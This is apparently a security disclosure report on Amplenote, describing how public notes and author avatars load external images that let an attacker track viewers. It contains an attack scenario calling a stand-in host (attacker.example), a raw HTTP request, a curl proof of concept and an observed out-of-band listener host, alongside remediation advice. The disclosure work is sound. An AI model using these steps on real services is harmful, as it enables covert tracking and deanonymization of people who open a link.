Summary
A vulnerability exists because Amplenote renders images in published notes from arbitrary external URLs directly (`<img src="https://attacker…">`) without rehosting or proxying them through an Amplenote-controlled domain. An attacker can exploit this issue by publishing a public note containing a Markdown image (or by setting their author avatar) that points at a server they control, and sharing the public link; when any victim opens the note, their browser fetches the attacker URL, potentially leading to disclosure of the viewer's IP address, User-Agent, approximate location, and access timestamp — from within the trusted `public.amplenote.com` origin, with no interaction beyond opening the link.
Target url
- Rendered public note: `https://public.amplenote.com/<publicToken>`
- Avatar injection point: `https://api.amplenote.com/v4/accounts`
Vulnerable endpoints and parameters
- `GET https://public.amplenote.com/<publicToken>` — renders note content, emitting external `<img src>` unmodified.
Parameter(s): note body content (Markdown image ``)
- `PATCH https://api.amplenote.com/v4/accounts`
Parameter(s): `profile_image_url` (accepts arbitrary external URL, rendered as the author avatar `<img src>` on public notes)
Vulnerability class
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (privacy / viewer tracking; related CWE-359)
Cvss 3.1 score
4.3 - Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Root cause analysis
Amplenote intentionally allows images in notes, but the client render path stores and emits the image's **source URL verbatim** and never rehosts or proxies external image hosts. Observed behavior:
- The public-note renderer (`note_content_rehydrater.js`) creates image elements with `createElement("img",{src:i})` where `i` is the stored URL, unmodified. The only proxying in the codebase is a dedicated YouTube embed proxy (`/youtube-embed-proxy/`); there is no equivalent for images.
- `PATCH /v4/accounts` accepts an arbitrary `profile_image_url` value and stores it verbatim (a `javascript:` scheme is rejected with HTTP 500, confirming this is image-load only, not script execution).
- The public-page Content-Security-Policy is `img-src * data: blob:`, so the browser is permitted to load images from any host.
Because published notes are unauthenticated and shareable, any external image URL an author embeds becomes a tracking beacon executed in every viewer's browser. The root cause is the missing rehosting/proxying (and permissive `img-src`) for third-party image origins on public pages.
Attack scenario
Preconditions: attacker has a normal (free, self-registered) Amplenote account. Victim only needs to open a shared public-note link (no account, no login).
1. The attacker stands up a web server / logging endpoint they control (e.g. `https://attacker.example/pixel.png`).
2. The attacker creates a note and inserts a Markdown image referencing that URL (optionally with per-target query parameters for correlation), or sets their account avatar to that URL.
3. The attacker publishes the note to the web, obtaining `https://public.amplenote.com/<token>`, and distributes the link (forum, chat, email, social media, or a targeted "please review this note" message).
4. Each victim who opens the link causes their browser to issue a GET to `https://attacker.example/pixel.png?...`, disclosing their IP, User-Agent, Referer, and timing to the attacker.
5. The attacker correlates callbacks with recipients to deanonymize/track viewers.
Steps to reproduce
1. Set up a request-logging listener you control (Burp Collaborator, `webhook.site`, or your own server).
2. In Amplenote, create a note and add a Markdown image: `` (the editor converts it to an image node; the external URL is preserved). Alternatively, set the avatar via the API (see HTTP request below).
3. Publish the note (note menu → Publish note) to get `https://public.amplenote.com/<token>`.
4. From a different browser/device/network (as the "victim"), open the public link.
5. Observe your listener receive a request logging the victim's IP address, User-Agent, and timestamp; and observe in the victim's browser DevTools → Network an outbound request to `YOUR-LISTENER` originating from the `public.amplenote.com` page.
Http request
```
PATCH /v4/accounts HTTP/2
Host: api.amplenote.com
Authorization: Bearer <attacker_access_token>
Content-Type: application/json
Origin: https://www.amplenote.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
{"profile_image_url":"https://YOUR-LISTENER.example/avatar.png?viewer=1"}
```
(Equivalent note-body vector: insert `` into the note content and publish.)
Http response
```
HTTP/2 200 OK
Content-Type: application/json
{ ... "profile_image_url":"https://YOUR-LISTENER.example/avatar.png?viewer=1", ... }
```
Resulting markup on the public note page (`GET https://public.amplenote.com/<token>`):
```html
<img class="avatar-image" alt="author avatar image"
src="https://YOUR-LISTENER.example/avatar.png?viewer=1" />
```
(Observed live example on an existing public note: the author avatar rendered as
`src="https://z007tzzz1riyj51nvvig0rs0oruiia6z.oastify.com/avatar/..."` — an out-of-band host.)
Impact
As an attacker, I can exploit this vulnerability to:
- Deanonymize and track viewers of a public note — capturing IP address, User-Agent, coarse geolocation, and access time of every person who opens the link, without their knowledge or consent.
- Perform targeted reconnaissance ("who opened the note I sent") by correlating per-recipient URLs with callbacks.
- Have the data-leaking request originate from Amplenote's own trusted domain, so the viewer sees no indication their data reaches a third party.
Depending on the application context, this may result in information disclosure and privacy harm to note viewers (deanonymization/tracking). It does not, by itself, yield code execution or account takeover.
Recommendation
- Rehost or proxy all external images referenced in published notes and in `profile_image_url` through an Amplenote-controlled origin at publish time (fetch-and-store to the `ample-images` bucket, or an on-the-fly image proxy analogous to the existing `youtube-embed-proxy`). This is the standard mitigation for tracking pixels.
- After rehosting, tighten the public-page CSP `img-src` from `*` to Amplenote-controlled hosts only (`assets.amplenote.com`, `ample-images.s3…`).
- Validate/normalize `profile_image_url` to Amplenote-hosted or trusted-IdP (e.g. Google) origins rather than storing arbitrary attacker-supplied URLs.
Exploitable poc
Set the avatar to an OOB canary and confirm arbitrary-URL acceptance (observed: HTTP 200, stored verbatim):
```bash
curl -sS -X PATCH 'https://api.amplenote.com/v4/accounts' \
-H 'Authorization: Bearer <attacker_access_token>' \
-H 'Content-Type: application/json' \
-H 'Origin: https://www.amplenote.com' \
--data '{"profile_image_url":"https:///avatar.png?viewer=1"}'
# -> 200; response echoes profile_image_url verbatim
```